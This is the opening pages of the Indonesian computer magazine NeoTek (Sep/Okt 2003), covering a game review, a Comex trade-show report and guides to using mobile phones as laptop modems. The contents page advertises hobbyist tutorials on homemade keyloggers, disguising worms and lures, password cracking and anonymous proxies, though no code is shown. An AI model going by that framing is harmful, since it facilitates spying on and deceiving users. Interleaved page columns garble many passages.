You are on page 1of 49

NeoSoft

‘Belajar’ Anti-sosial
Neighb ours from Hell
Balas Dendam terhadap Musuh Bebuyutan di Sebelah Rumah

Pentium II 300MHz, 164MB RAM, 8MB


Video RAM, DirectX 8.1

angan anggap kelakuan anti-sosial seperti Dendam terobati, tanpa harus berurusan dengan
J yang digambarkan dalam game aneh dengan ketua RT atau bahkan polisi untuk tin-
Nieghbours from Hell ini tidak ada. Sebaliknya, dakan anti-sosial anda.
tetangga yang menyebalkan selalu ada, tetapi Masalah tetangga yang menyebalkan ternyata me-
apakah anda berani benar-benar mensabotase rupakan fenomena universal, terlihat dari adanya
tetangga itu, mulai dari merusak fotonya, me- e-book khusus yang merupakan manual menge-
nempatkan kelereng agar ia terpeleset, sampai nai bagaimana menjadi tetangga yang buruk:
mengganti lilin ulang tahunnya dengan mercon?
http://www.nfh.org.uk/humour/NFH_Manual/index.php
Mungkin tidak, dan anda hanya bisa mengelus
Oops... Jangan terlalu dianggap serius. Semua ini
dada atau malah menyerah dan pindah rumah.
hanya humor. Dan... penyaluran gejolak agresif
Kalau anda tidak berani berkonfrontasi sung-
anda dengan aman.
guhan dengan tetangga anda yang menyebal-
kan, mainkan saja game ini untuk pelampiasan http://www.jowood.com
dendam anda. (18.56 Mbyte)
HomePage

amkm Salam!
anda Handphone sebagai Modem
meminta untuk Laptop maupun PDA
kami
mendownload
Software gratis
di Internet?
Tapi besarnya...
50Mb... 200Mb?

sa—elephant • Di manapun berada, anda dapat tetap dapat menerima dan mengirim email,
maupun mem-browse web menggunakan laptop maupun PDA.

sa—gajah
Semua itu dimungkinkan karena adanya
komunikasi data CSD atau GPRS pada handphone.

enerima dan mengirim e-mail sewaktu dalam per-


Kami dapat
men-
M jalanan sudah sangat mungkin. Yang anda perlukan
hanyalah handphone yang mendukung komunikasi
download- data (yang mampu WAP browsing) serta laptop atau PDA.
kannya Kecepatan koneksi bisa sekedar 9600 bps (koneksi CSD) atau
untuk anda. sampai 57600 bps (untuk koneksi GPRS). Sudah cukup nya-
man bahkan untuk web
Kirimkan email ke:
kosasih@indo.net.id
dengan: Redaksi
redaksi@neotek.co.id
• Subject: amkm
• Isi pesan: Mohon download-kan
[nama software] dari
[www.blablabla.com] Bagaimana menghubungi N EOTEK?
KONTRIBUSI ARTIKEL
redaksi@neotek.co.id ADMINISTRASI IKLAN
SURAT PEMBACA Tel. 021-5481457 Fax. 021-5329041
support@neotek.co.id SIRKULASI NEOTEK
WEBMASTER Tel. 021-5481457
webmaster@neotek.co.id ALAMAT REDAKSI
PEMASARAN 4 Cairnhill Rise
pemasaran@neotek.co.id #05-01 The Cairnhill
Singapore 229740
CHATROOM DI DALNET Telp. +65-67386482
#neoteker kosasih@indo.net.id
MILIS PARA NEOTEKER
http://groups.yahoo.com/group/majalahneotek

Sep/Okt 2003 NeoTek 1


Daftar Isi

Daftar Isi NeoTek Vol. I I I No. 12


FOKUS BULAN INI
NeoStyle
12 Encoding dengan
TEMPGenc
Mengkonversi file .DAT dari video CD
menjadi file MPEG-1 atau MPEG-2
sebagai persiapan melakukan video
editing.

Handphone sebagai Modem 14 Hypercam c. 1.71.00


untuk e-Tutor
untuk Mengakses Internet Para guru atau trainer dapat membuat
bahan pengajaran interaktif sendiri
dengan cepat dan mudah.
8 Internet Lewat HP:
NeoStart CSD
Ponsel model lawas, asalkan sudah 16 Media Encoder
Membajak Audio Stream
mendukung WAP (seperti Nokia 3330,
Media Encoder dapat ‘disalahgunakan’
6 Komunikasi Data
lewat Ponsel
8210, 8250) sudah bisa digunakann
sebagai modem untuk laptop dengan untuk membajak audio/video stream
menjadi file. Solusi yang justru datang
Asalkan ponsel anda sudah dapat koneksi CSD.
dari Microsoft.
mengakses WAP, maka artinya daoat
dijadikan modem untuk laptop.
10 Internet Lewat HP:
Adapun operator selulernya mungkin
menyediakan komunikasi data lewat
CSD, HSCSD, ataupun GPRS. Tidak
GPRS
Memang baru IM3 dan Telkomsel yang
menyediakan layanan GPRS yang dapat
NeoTekno
lama lagi komunikasi data broadband
pun akan sampai untuk ponsel.
digunakan untuk koneksi Internet yang
lumayan cepat, 57600 kbps. 18 PC Security
Satpam Komputer Anda
Tool untuk local protection, khususnya
www.neotek.co.id untuk PC yang dipakai untuk umum
Situs NeoTek neotek.kpone.com.sg seperti di warnet. Diperkenalkan juga
opsi yang full version: WinLock 3.2
Jadikan situs NeoTek sebagai pangkalan Anda berselancar
Password Cracking
Link Langsung
Kunjungi situs-situs yang dibahas di
Layanan Rupa-rupa NeoTek 22 Network Neighbourhood
Channel #neoteker di Dalnet Kembali membahas kerawanan Win-
majalah NeoTek dengan sekali klik Ngobrol ramai-ramai sesama NeoTeker
lewat situs NeoTek. dows network yang mengaktifkan
Web Chat Room Port 139. Kali ini memperkenalkan
Kini tidak usah jauh-jauh untuk ngobrol PQwak dan Internet Maniac
NeoTek versi PDF langsung dengan sesama NeoTeker
Kehabisan NeoTek di kota Anda?
Mailing List
Dapatkan saja versi PDF-nya. Gratis!
Ini yang paling ramai. Segera ikutan
berbagi pengalaman berinternet!
24 Menjajal Kemampuan
Pemicro WinIDE
Download Tool untuk assembly language Motorola
Tersedia juga download di situs NeoTeker Official Portal
HC08 yang berjalan pada Windows.
NeoTek selain dari situs aslinya http://www.neoteker.or.id
Situs komunikasi antar Neoteker. Mencakup Text Editor, Assembler, In-
Circuit Simulator, Programmer, dan In-
Neoteker Internet Radio
http://dj.neoteker.or.id:8000 Circuit Debugger.

2 NeoTek Sep/Okt 2003


Daftar Isi

NeoTutor 34 Mengapa Worm


Berekstensi Ganda?
Suatu studi kasus mengenai cara
NeoSoft
worm berkamuflase, lengkap dengan Neighbours
28 Anonymous Proxy contoh mengkamuflase sendiri pro- 0 from Hell
Ingin berkiprah di Internet tan- gram buatan kita. Siapa bilang ‘tetangga
pa diketahui orang? Gunakan anony- setan’ tidak ada dalam
Bukan Hanya Worm
mous proxy yang menyembunyikan
identitas anda sebagai hacker pemula.
36 Memperkecil File
kenyataan sehari-hari?

30 Keylogger v. 2.0
Ukuran file yang kecil penting bagi
pembuat virus, worm, malicious code, NeoProfil
ataupun program ‘baik-baik.’
Kelanjutan C++ programming Editorial Office
tip tentang srv32.exe dan srv32.dll yang
Winhex untuk
3 4 Cairnhill Rise
merupakan keylogger buatan sendiri.
38 Mengoprek Software
#05-01 The Cairnhill
Singapore 229740

32 GuestBoook v. 1.0
GratisWare
Memperkenalkan cara mengakses file
.EXE langsung ke kode heksadesimal-
Telp. +65-67386482

Lengkapi situs anda dengan GuestBook nya dan melakukan perubahan terha- Business Office
yang fleksibel, dinamis, dan interaktif dap file itu menggunakan Winhex. Gedung Cahaya Palmerah 503
ini tanpa harus berkorban dengan Jl. Palmerah Utara III No. 9
adanya iklan (pada GuestBook jadi
yang ‘gratis’) ataupun bersusah payah
40 Visual Basic Workshop
Program Penggoda
Jakarta 11480
Telp. 021-5481457
membuatnya sendiri (sebab source code Selain membahas penyamaran worm, Fax. 021-5329041
sudah disediakan) oleh rekan kita se- dibahas pula membuat program sendiri
sama neoteker. yang menggoda agar dijalankan. Pemimpin Umum
Fachri Said
Pemimpin Redaksi
46 Video Capture
NeoReview dengan ATI-TV Wonder
Video capture ‘murah-meriah’ yang
Kosasih Iskandarsjah
Redaktur Ahli
dapat dengan mudah mengkonversi Onno W. Purbo

45 Memilih
Video Capture Box
video analog ataupun siaran TV men-
jadi video file.
Michael S. Sunggiardi
Pemimpin Usaha
Ingin mengubah koleksi video analog Fahmi Oemar
menjadi digital? Gunakan video capture
box yang bisa juga menangkap siaran
47 Ekspor ke CD, DVD,
atau DV Camcorder
Dadang Krisdayadi

Walaupun menggunakan video capture Redaktur Pelaksana


televisi menjadi file video untuk kemu- Gianto Widianto
dian di-burn sebagai VCD atau DVD. yang ‘murah-meriah’ untuk konversinya
gunakan Ulead VideoStudio 6. Sekretaris Redaksi
Marni
NeoRagam NeoTek Okt/Des 2003 Webmaster
Supriyanto
Klak Klik
4 Neighbours from Hell
Laporan dari Comex 2003
PC Security Update 2003
Sudah banyak perkembangan hacking
Sirkulasi
Hedhi Sabaruddin, Denny
dan security semenjak dibahas NeoTek
Pameran Komputer & Kamera
Musik pada Handphone dalam seminar Agustus 2002 di Sema- Adm. Langganan
3G di Singapore rang. Selain semakin populernya wire- Krisnadhi Distributor
less LAN, juga semakin ganasnya worm.
Powerline Network Iklan dan Promosi
5 LAN Jaringan listrik Ada
di
Infra Merah Gianto Widianto
Memori Makin Besar
dan Murah NeoCD dan Keuangan
Tek Bluetooth Aswan Bakri
Inbox Benarkah bahwa
NmN dengan semakin Bank
44 Neoteker menjawab
Neoteker
populernya Blue-
tooth berarti Bank BNI
infra merah di a.n. PT NeoTek Maju Mandiri
48 Daftar Isi CD NeoTek
Analog Video Capture
dan HP sebagai Modem
ambang kepu-
nahan seperti
No. rekening 070.001709720.001
Bank BCA Matraman
PAL KeyLog Pro (full version) pada
halnya floppy (khusus untuk langganan)
dasarnya subbagian dari PAL PC Spy dan disk? a.n. Boedi Krishnadi
merupakan keylogger dan kontrol URL. No. rekening 342-239-1611

Sep/Okt 2003 NeoTek 3


NeoRagam

Klak Klik LAPORAN DARI COMEX 2003, SUNTEC EXHIBITION HALL 4, SINGAPORE

GAME BULAN INI


Pameran Komputer dan Kamera
Neighbours from Hell ang jelas sekali ter- display, DVD/CD-RW tidak ada lagi produk Pocket
18,56 MB
Y lihat dalam COMEX
2003 kali ini adalah
combo drive, serta floppy,
modem, dan Windows XP
PC yang menarik perhatian,
kecuali mungkin range
banyaknya stand yang tidak Home preloaded ditawar- DigiWalker Mio dari Mitac.
menjual komputer, melain- kan dengan harga SGD1399. Graphics Card
kan kamera digital, baik itu Dan 150 buah habis terjual
still ataupun video camera. dalam waktu setengah hari. Yang terlihat menguasai
pemandangan adalah gra-
Bahkan stand yang mema- Acer Aspire 1703 terlihat phics card. Graphics card
jang komputer pun mem- berbeda dengan 17” TFT harganya sangat bervariasi
berikan perhatian khusus display. Prosesor yang digu- dari hanya SGD70 sampai
untuk produk-produk peri- nakan Pentium 4 2,6 GHz, SGD1079 (nVidia FX5900).
Belajar bertetangga yang feral dan yang paling jelas 156 DDR RAM, 80 Gbyte
buruk. Itulah game dari adalah yang berhubungan hard disk, DVD/CD-RW Laptop Semakin Murah
JoWooD Productions. Anda dengan imaging seperti combo drive, serta modem, Kabar terakhir adalah sema-
mempunyai tetangga yang graphics card, LCD monitor, lAN, dan Windows XP kin banyak produsen laptop
menyebalkan dan kini video editing hardware dan/ Home Edition, ditawarkan di Taiwan yang semakin
giliran anda mengganggu atau software. dengan harga SGD2488. tidak tertarik memproduksi
tetangga itu dengan cara Masih bisa ditawar, katanya.
yang paling gila-gilaan. Kemana Desktop-nya? laptop dan banting setir
Kemana Pocket PC-nya? menjadi produsen monitor
Sebagai bintang dari suatu Sudah tidak ada ‘gigitan’ dan televisi.
acara TV, kegiatan nakal lagi pada komputer desktop Yang juga mulai dianggap
anda direkam dan ditayang- yang dipamerkan. Kompu- biasa oleh orang adalah Laptop memang semakin
kan dalam acara tersebut. ter desktop terlihat mulai Pocket PC ataupun Palm OS murah dan membeli laptop
Jadi carilah cara-cara paling kadaluwarsa dan kini device. Tidak ada yang isti- bekas kini bukan lagi pilihan
kreatif untuk mengganggu laptop semakin murah dan mewa di sini kecuali harga- yang menarik. Toshiba Sa-
tetangga yang tidak me- tellite A10-S101 dengan Ce-
nyangka kalau dirinya se-
powerful lengkap dengan nya yang semakin turun.
nVidia card untuk gaming. leron 1,8 GHz, 256 Mbyte
dang diincar. Pocket PC dengan prosesor RAM, 20 Gbyte hard disk.
Tapi awas! Kalau ketahuan Desktop replacement yang di bawah 400 MHz kini dan CD ROM drive harga-
oleh tetangga yang menye- dipelopori oleh ECS dengan semakin murah. NEC nya SGD1649.
balkan itu atau anjingnya, Desknote-nya kini diikuti MobilePro 330E ditawarkan
anda bisa habis babak-belur. puka oleh Acer dengan di Sim Lim Square dengan Asus L2E 18CD dengan Pen-
Aspire 1703 serta Compaq harga SGD399, kini Acer tium 4 1,8 GHz, 128 Mbyte
dengan Desknote 800. n10 handheld ditawarkan RAM, 20 Gbyte hard disk,
dengan harga SGD469. dan CD ROM SGD1799.
Compaq Desknote dengan
prosesor Pentium 4 2,4 Kecuali Toshiba Pocket PC Dengan kurs Rp5500/SGD
GHz, 256 DDR RAM, 40 e750 dengan prosesor 400 harga laptop entry level kini
Pentium II 300, RAM64 Gbyte hard disk, 15” TFT MHz serta integrated wi-fi, hanya sekitar Rp 8 juta.

Musik pada Handphone Nokia Apabila Nokia 3300 har-


okia baru saja meluncur- 3300 ganya sekitar SGD800 maka
N kan music phone Nokia juga Philips 530 sekitar SGD500.
3300 dengan ‘real tune’ dan ti- ber-
fungsi 3G di Singapore
dak lama lagi Philips akan melun-
curkan Music DJ pada handphone sebagai Singtel akan meluncurkan
Philips 530. Keduanya menyertakan audio re- layanan 3G mulai Desember
FM radio. corder dari FM 2003 dan untuk itu akan
radio atau lewat port line-in yang dise- dipilih 100 orang untuk uji
Hal ini adalah kelanjutan dari kecen- diakan pada handphone ini. Fungsi coba yang akan mendapatkan
derungan konvergensi antara tekno- SMS, MMS, Java games menjadi handphone 3G gratis atau
logi telepon seluler, kamera digital, standard pada music phone dual band disubsidi, yang kalau harus
music player, PDA, dan entah apa lagi. ini. Sayang tidak ada jack audio-out. membeli sendiri harganya SGD1000.
Nokia 3300 benar-benar suatu music Nokia 3300 masih seperti Series 60 Selama tiga bulan peserta uji coba ha-
phone yang dapat memainkan file hanya mendukung 4096 warna (12 rus membuat laporan seminggu sekali
MP3 dan AAC. Untuk itu Nokia 3300 bit), berbeda dengan Philips 530 yang mengenai pemakaian handphone 3G-nya.
dilengkapi dengan memory card 64 sudah mendukung 65.536 warna (16
Mbyte, cukup untuk sekitar 20 lagu. Layanan 3G Singnet akan menggu-
bit) seperti kebanyakan handphone nakan W-CDMA dengan kecepatan
Untuk data handphone dan WAP keluaran Korea atau Jepang. transfer 384 kbps.
browsing masih tersedia memory in- Philips 530 bukanlah music phone
ternal 4,5 Mbyte. Cukup besar diban- Di Indonesia, Telkom Flexy pada dasar-
sebenarnya melainkan advanced ring- nya adalah fasilitas CDMA yang justru
dingkan dengan Nokia 3650 (3 Mbyte) tone composer yang bisa dilengkapi
atau Sony Ericsson T610 (2 Mbyte). tidak dipasarkan sebagai handphone.
dengan kamera (opsional).

4 NeoTek Sep/Okt 2003


NeoRagam

LAPORAN DARI COMEX 2003, SUNTEC EXHIBITION HALL 4, SINGAPORE

Powerline Network: Jaringan Listrik sebagai LAN


alau hanya dalam lingkung- lam lingkungan
K an rumah sendiri, jaringan
listrik sudah bisa dijadikan
jaringan listrik da-
lam gardu yang
wire tersendiri untuk LAN anda. sama, maka satu
Yang anda perlukan adalah mencolok- router dapat digu-
kan powerline router pada sembarang nakan bersama-
colokan listrik di rumah anda, dan ja- sama dalam satu
ringan listrik dalam radius 1000 meter kompeks peru-
dari colokkan itu sudah merupakan mahan/satu RT.
LAN tersendiri. Trafo pada gardu
Powerline router ini kemudian dihu- listrik akan mence-
bungkan ke cable modem atau ADSL gah data keluar dari
broadband modem dan tanpa harus lingkungan gardu,
memasang kabel ke mana-mana, selu- sehingga data anda
ruh rumah anda sudah wired sebagai aman dan tidak akan
suatu LAN. jalan-jalan sampai
ke luar kompleks.
Pada colokkan listrik lain dalam radius
itu anda tinggal mencolokkan USB Sebenarnya prin-
adapter (untuk menghubungkan laptop), sip dasar ini juga
ethernet bridge (untuk desktop atau yang membuat
server), atau wireless Access Point un- koneksi Internet Adapun untuk koneksi ke komputer:
tuk memperluas lagi powerline LAN melalui jaringan listrik (Icon dari PLN
kalau di Indonesia) menjadi mahal ka- PlugLink PL9720
ini dengan wireless LAN (wi-fi). (USB adapter) SGD139
lau diterapkan sebab pada setiap gardu
Spesifikasi Teknis harus dipasangkan router sendiri-sendiri. PlugLink PL9630-ETH
Powerline router dirancang untuk di- Dalam rumah anda sendiri anda perlu (Ethernet bridge) SGD139
gunakan dalam listrik 3-fase (220 volt) menerapkan enkripsi (disediakan DES PlugLink PL9520-WAP
yang umum di rumah-rumah. 56-bit encryption) agar data anda tidak (Wireless AP) SGD242
Powerline router hanya menggunakan dibaca oleh tetangga yang juga meng-
gunakan produk powerline (kecuali Produk Powerline Network dapat di-
daya 5 watt sehingga tidak menggan- peroleh dari
ggu pemakaian listrik dan tidak mem- memang kalau memang ingin mem-
bahayakan jaringan listrik itu sendiri buat RT/RW-net dengan cara ini). TechWerkz Pte. Ltd.,
(tidak usah khawatir konslet). Produknya 568 Macpherson Rd. #01-01,
Singapore 368236.
Jangkauan dan Keamanan Produk utama di sini adalah power-
line router PlugLink PL9920-BBR Email: batchelor@techwerkz.com.sg.
Karena powerline network ini mem- Informasi lebih lanjut dapat diperoleh
punyai jangkauan 1000 meter di da- yang dijual dengan harga SGD228.
di: http://www.techwerkz.com.sg/

Memori Makin Besar dan Murah Malah untuk pameran tahun depan sudah dipameran CF
alah satu ‘atraksi’ di Comex 2003 adalah orang antri card Type II dengan kapasitas 4,8 Gbyte.
S untuk mendapatkan penawaran souvenir, antri un- Informasi lebih lanjut:
tuk bisa membeli iPAQ separuh harga, serta antri membeli TwinMOS Technologies (S) Pte Ltd
CF card dan SD memory card. 175 Bencoolen Street #05-09/10/11
Betapa tidak, TwinMOS memasang pagu harga baru un- Burlington Square, Singapore 189650
tuk CF dan SD memory card yang hampir separuh harga Telp. +65-63377818, Fax: +65-63349588
dari merk-merk lain yang lebih awal ada di pasar. Website: www.twinmos.com.sg
Berikut adalah daftar harga yang memancing antrian Mobilestor Pte Ltd
panjang itu: 10 Ubi Crescent, Lobby B
Memory CF Card SD Card #03-12, Ubi Techpark, Singapore 408564
Telp. +65-67437173, Fax: +65-67436531
64 Mbyte SGD39 SGD48 Website: www.mobilestor.com.sg
128 Mbyte SGD56 SGD90
256 Mbyte SGD102 SGD142
512 Mbyte SGD199 SGD450
1 Gbyte SGD426 —
Perlu CF card yang lebih besar lagi? Magicstore dari
Mobilestor Pte Ltd menyajikan CF card Type II dengan
kapasitas 2,2 Gbyte dengan harga SGD379 dengan bonus
(boleh pilih) USB connector atau PCMCIA connector.

Sep/Okt 2003 NeoTek 5


NeoStart

KO M U N I K AS I DATA LEWAT PO N S E L
CSD, HSCSD, GPRS, dan G3
Semua operator seluler di Indonesia kini sudah menyediakan fasilitas WAP yang merupakan
komunikasi data baik melalui CSD maupun GPRS. Dengan demikian, apapun operator seluler
anda, anda sudah bisa menggunakan handphone sebagai modem untuk komputer.

yang disediakan. Pada umumnya layanan telepon suara,


S
EBENARNYA SEMENJAK DIPERKENALKANNYA LAYANAN
WAP oleh para operator telepon seluler, mulai CSD, dan HSCSD ditagih berdasarkan lamanya pembica-
saat itu juga akses Internet lewat ponsel sudah raan, sedangkan GPRS berdasarkan besarnya byte yang
dimungkinkan. Bukankah mengakses situs WAP melalui di-download.
ponsel pada dasarnya adalah mengakses Internet? Namun Sekarang ini layanan GPRS baru disediakan oleh IM3 dan
demikian yang lebih banyak dipromosikan adalah aneka Telkomsel, sedangkan Satelindo baru untuk wilayah Medan
layanan berbasis WAP (Wireless Application Protocol), dan Batam. Excelcom belum menyediakan layanan GPRS.
mulai dari berita, ramalan cuaca, nilai harga saham, sam-
pai petunjuk belanja. Sejalan dengan dipopulerkannya GPRS yang lebih gencar
dipromosikan ke khalayak ramai adalah MMS (Multi-
Komunikasi Data G2 media Messaging System). Memang orang awam lebih
mudah memahami MMS dibandingkan akses Internet
Pada masa-masa awal ini digunakan komunikasi data yang lewat laptop atau PDA. Seperti juga dulu orang awam
dikenal sebagai CSD (CCircuit Switched Data) dengan ke- lebih mudah memahami SMS dibandingkan memahami
cepatan hanya 9600 bps. Tidak heran apabila diperlukan cara mengakses situs WAP ataupun email melalui ponsel.
WAP yang serba ringkas (termasuk grafiknya, WBMP,
yang hanya dua bit; hitam dan putih), mengingat keter- MMS dengan demikian hanya bisa dikirim dan diterima
batasan bandwidth. pada ponsel yang operatornya juga menyediakan layanan
GPRS. Anda tidak bisa mengirim MMS dari ponsel IM3
Mulai saat itu juga SMS (Short Messaging Service) secara ke Exelcom, misalnya.
tidak terduga menjadi sangat populer, sampai-sampai para
orang tua di seluruh dunia mengkhawatirkan ‘rusaknya’ Komunikasi Data G3
bahasa anak-anak mereka dengan begitu populernya
‘Bahasa SMS.’ Hal ini terjadi baik untuk Bahasa Indonesia, Pelopor penggunaan teknologi telepon seluler generasi
Bahasa Inggris, maupun bahasa-bahasa lain. Akses email ketiga justru bukan negara-negara barat, melainkan Jepang
maupun mengirim email juga dimungkinkan mengguna- dan Korea. Tidak heran apabila ponsel 3G paling banyak
kan WAP serta komunikasi data CSD ini. berasal dari kedua negara itu.
Itulah komunikasi data yang dapat diberikan oleh sistem Berbeda dengan G2 dan G2.5 yang didominasi oleh tekno-
telepon seluler generasi kedua (G2) logi GSM, G3 diEropa, Jepang, dan Korea menggunakan
teknologi CDMA (C Code Division Multiple Access). Eropa
Komunikasi Data G2.5 dan Jepang menggunakan W-CDMA (W Wideband-CDMA)
dengan kecepatan 384K bps, sedangkan Korea mengguna-
Baru kemudian setelah para operator telepon seluler (di- kan CDMA2000 1x dari Qualcomm (kecepatan transfer
mulai oleh Indosat M3 dan kemudian Telkomsel) mem- data 144K bps).
perkenalkan layanan GPRS (G General Packet Radio Service),
barulah akses Internet (web) mulai banyak dikenal orang. Teknologi GSM sendiri sedang dikembangkan menjadi
3GSM dengan memanfaatkan interface W-CDMA. Sebe-
Ini dikarenakan GPRS memungkinkan transfer data yang lum mencapai 3GSM, evolusi GSM akan melewati dulu
lebih cepat, yaitu 14400 bps. Memang 14400 bps tidak teknologi yang disebut EDGE (E Enhanced Datarate for GSM
terlalu lebih cepat dibandingkan dengan CSD yang 9600 Evolution). Jadi GSM sudah dan akan berevolusi menjadi
bps, tetapi GPRS memungkinkan transfer data dengan GPRS, EDGE, dan akhirnya 3GSM.
multiple slot. Sekarang ini ponsel yang mutakhir sudah
menggunakan GPRS Class 8 dengan 4 slot downlink dan Akses Internet dengan Laptop dan Handphone
1 slot uplink. Artinya uplink tetap 14400 bps, tetapi down-
link sudah mencapai 57600 bps. Sudah cukup nyaman Untuk dapat mengakses Internet dengan laptop dan hand-
untuk web browsing (bukan sekedar WAP browsing). phone, yang pertama harus dipastikan bahwa handphone
anda mendukung komunikasi data dan bahwa operator
Sejalan dengan diperkenalkannya GPRS sebenarnya CSD telepon seluler anda juga menyediakan layanan komu-
juga mengalami kemajuan dengan diperkenalkannya nikasi data.
High Speed CSD yang HSCSD Class 2 menggunakan 2
slot downlink dan 1 slot uplink (2+1) yang artinya down- Sekarang ini semua operator telepon seluler di Indonesia
link bisa dengan kecepatan 19200 bps. menyediakan layanan komunikasi data CSD, jadi SIM
card apapun dapat digunakan untuk mengakses Internet.
Semua operator ponsel kini menyediakan layanan komu-
nikasi data CSD, tetapi tidak semua menyediakan layanan Namun demikian, perlu diingat bahwa CSD hanya me-
GPRS. Demikian juga sistem tarifnya yang berbeda-beda nyediakan kecepatan transfer data 9600 bps dan anda
untuk setiap operator dan setiap layanan komunikasi data akan ditagih biaya pemakaian berdasarkan lamanya akses.

6 NeoTek Sep/Okt 2003


NeoStart

Cara kedua adalah meng- Kemudian aktifkan layanan GPRS ke operator telepon
gunakan layanan GPRS seluler anda (hanya IM3 dan Telkomsel, atau bila Sate-
yang sementara hanya lindo hanya di Medan dan Batam). Mengaktifkannya
disediakan oleh Telkomsel dapat secara OTA (Over The Air) dengan cara mengirim
(termasuk kartu Halo SMS ke nomor telepon yang disediakan, atau setting
dan Mentari) serta IM3. sendiri secara manual.
Nokia D211 Kecepatan transfer GPRS Yang di-setting pada dasarnya adalah: GPRS access point,
tergantung jenis ponsel IP address, dial-up number, user name, dan password.
yang anda gunakan. Nokia Setting GPRS untuk IM3 dapat dilihat di sini:
3650 dan Sony Ericsson
T610, misalnya mendu- http://www.m3-access.com/m3zone/setting/gprs.asp?it=1&is=3&isc=4&ix=9
kung GPRS Class 8 (4+1) sedangkan untuk Telkomsel di sini:
yang artinya mendukung
kecepatan transfer data http://www.telkomsel.com/content.jsp?cid=c-tech-01-gprs
(downlink) sebesar 4 x
Globetrotter 14400 bps = 57600 bps. Nomor Telepon yang Di-dial
Ponsel anda harus dapat terkoneksi dengan laptop (baik Semua akses Internet lewat GPRS men-dial ke operator
melalui port inframerah maupun kabel serial, atau telepon seluler itu sendiri dengan nomor dial yang pada
sekarang dengan bluetooth) dan menjadi modem bagi dasarnya adalah perintah koneksi modem, yaitu:
laptop tersebut. Dapat juga menggunakan GSM PCMCIA *99***X#
card yang membuat laptop anda mempunyai GPRS mo-
dem yang permanen. Contoh GSM PCMCIA card adalah dengan X = 1, 2, atau 3
Nokia D211 dan Globetrotter. Dua-duanya dapat diperoleh X adalah CID number dari layanan yang diberikan.
di pasaran. Pada laptop anda harus di-install dulu PC Suite Pada M1 (Singapore) misalnya:
selain juga modem setup/modem driver. Layanan M1-MMS, menggunakan CID=1
Layanan Mi-World-GPRS, menggunakan CID=2
Akses Internet lewat CSD Layanan Sunsurf Mobile, menggunakan CID=3
Setelah memastikan bahwa handphone anda mendukung Jadi bila mengakses Internet menggunakan layanan
komunikasi data CSD (dikenali dari handphone anda yang Sunsurf Mobile dari M1, maka nomor telepon yang di-
dapat mengakses situs WAP), maka pada handphone anda dial adalah *99***3#
tidak ada perubahan setting apa-apa lagi.
Indosat M3 memberikan layanan GPRS dengan nomor
Anda tinggal mendeteksi handphone itu sebagai modem CID=1, sehingga bila menggunakan IM3, anda harus
pada laptop dan membentuk koneksi Dial-up Networking men-dial ke nomor telepon *99***1#
yang baru menggunakan handphone tersebut.
Demikian juga dengan Telkomsel, anda bisa mengguna-
Anda mengakses Internet dengan men-dial ke ISP anda kan nomor telepon *99***1# selain nomor telepon tanpa
sendiri dengan nomor dial ke ISP itu, serta user name dan menetapkan CID-nya, yaitu *99#
password dari account anda di ISP tersebut.
IM3 Telkomsel
Bila tidak mempunyai account di ISP, anda dapat menggunakan
Konfigurasi pada Laptop
Telkomnet Instan dengan nomor dial 0809-8-9999 dan
1 Dial-up number *99***1# *99#
user id telkomnet@instan dan password telkom. 2 User name gprs wap
3 Password im3 wap123
4 Server types TCP/IP TCP/IP
Akses Internet lewat GPRS 5 Maximum speed 57600 57600
Berbeda dengan akses Internet lewat CSD yang men-dial
nomor telepon ISP, maka pada akses Internet lewat GPRS Untuk Pengguna Unix/Linux
anda menghubungkan laptop anda melalui handphone
yang GPRS-enabled ke jaringan operator seluler itu sendiri. Khusus untuk pengguna Linux, anda dapat menggunakan
kppp untuk men-dial ke operator telepon seluler meng-
Pertama kali anda harus memastikan bahwa handphone gunakan GPRS.
anda bersifat GPRS-enabled (ttidak harus MMS-enabled,
walaupun apabila MMS-enabled maka berarti juga GPRS- Hal ini dibahas secara terinci oleh rekan Yosep Fery Wibowo
enabled). Sebagai contoh Nokia 6510 adalah handphone a.k.a ferywu a.k.a exp0 yang dapat anda dibaca di sini:
yang GPRS-enabled walaupun tidak mendukung MMS. http://ferywu.sysadmin.or.id/Reading/DialGPRS.txt
Disini dibahas akses Internet dari komputer dengan sis-
IM3 Telkomsel
Setting Modem GPRS pada Handphone
tem operasi OpenBSD (sejenis sistem operasi Unix) dengan
1 Setting name M3-GPRS APN-Internet
menggunakan handphone dengan SIM card IM3 dan
2 Homepage http://wap.indosat-m3.net http://wap.telkomsel.com Telkomsel (kartu Simpati) dengan OpenBSD ppp, yang
3 GPRS access point www.indosat-m3.net internet dapat anda modifikasi agar dapat dijalankan pada berbagai
4 GPRS connection when needed when needed
5 Session mode permanent permanent distro Linux.
6 Connection security off off
7 Data bearer GPRS GPRS
Sebagai kelanjutan dari artikel ini disajikan pula artikel
8 IP address 010.019.019.019 010.001.089.130 langkah-per-langkah koneksi Internet lewat handphone,
9 Authentication type normal normal baik melalui komunikasi data CDS maupun GPRS. Dalam
10 Login type automatic automatic
11 User name gprs wap mengikutinya harus anda sesuaikan dengan jenis hand-
12 Password im3 wap123 phone anda serta operator seluler yang ands gunakan.
13 Port 9201 9201

Sep/Okt 2003 NeoTek 7


NeoStart

I NTE RN ET LEWAT H P
EBENARNYA SEJAK OPERATOIR PONSEL
S menyediakan fasilitas WAP, ko-
neksi Internet lewat HP sudah
dimungkinkan. Hanya masalah biaya dan

DIAL-UP INTERNET KE ISP kecepatan saja yang membuatnya tidak


terlalu populer.
Apabila HP anda bukan GPRS-enabled (mi-

LEWAT KONEKSI CSD salnya Nokia 8210 yang dijadikan contoh),


tetapi sudah bisa mengakses WAP site, ma-
ka sebenarnya operator posel anda sudah
mengaktifkan data communication yang
Siapa bilang hanya handphone yang mendukung GPRS yang dikenal sebagai CSD (Circuit Switched Data)
dapat digunakan untuk mengakses Internet? Pada dasar- yang walaupun tidak secepat koneksi GPRS,
namun tetap merupakan data communica-
nya semua handphone GSM mendukung komunikasi data tion (GSM data).
untuk menjadikan handphone itu sebagai modem. Yang per- Kecepatan CSD hanya 9600 bps, sedangkan
lu dipastikan apakah anda sudah mengaktifkan WAP/CSD. HSCSD (High Speed CSD) tiga sampai em-

Akses Internet lewat HP tidak harus menggunakan HP yang GPRS-enabled.

PC SUITE DAN MODEM SETUP INSTALL NEW MODEM DON’T DETECT MODEM
1 Masuk ke situs Nokia di
http://www.nokia.com/nokia/
2 Pilih Start > Settings > Control Panel
dan double click icon Modems
3 Pada jendela dialog yang menya-
takan bahwa Windows akan men-
0,8764,65,00.html lalu pilih jenis untuk menampilkan jendela deteksi modem anda, berikan
handphone anda (sebagai contoh dialog Modems Properties. Klik tanda tick pada Don’t detect my
